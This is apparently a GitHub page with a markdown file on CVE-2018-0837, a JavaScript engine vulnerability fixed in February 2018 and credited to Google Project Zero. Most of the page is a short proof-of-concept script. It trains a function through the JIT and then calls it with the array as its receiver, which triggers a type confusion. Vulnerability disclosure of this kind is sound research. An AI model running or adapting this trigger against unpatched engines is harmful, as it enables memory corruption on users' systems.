Skip to content

Latest commit

 

History

History
32 lines (24 loc) · 645 Bytes

CVE-2018-0837.md

File metadata and controls

32 lines (24 loc) · 645 Bytes

CVE-2018-0837

  • Fix: Feb 2018
  • Credit: lokihardt of Google Project Zero

PoC

function opt(arr) {
    arr[0] = 1.1;
    this[0] = {};
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        opt.call({}, arr);
    }

    opt.call(arr, arr);
    print(arr);
}

main();

Reference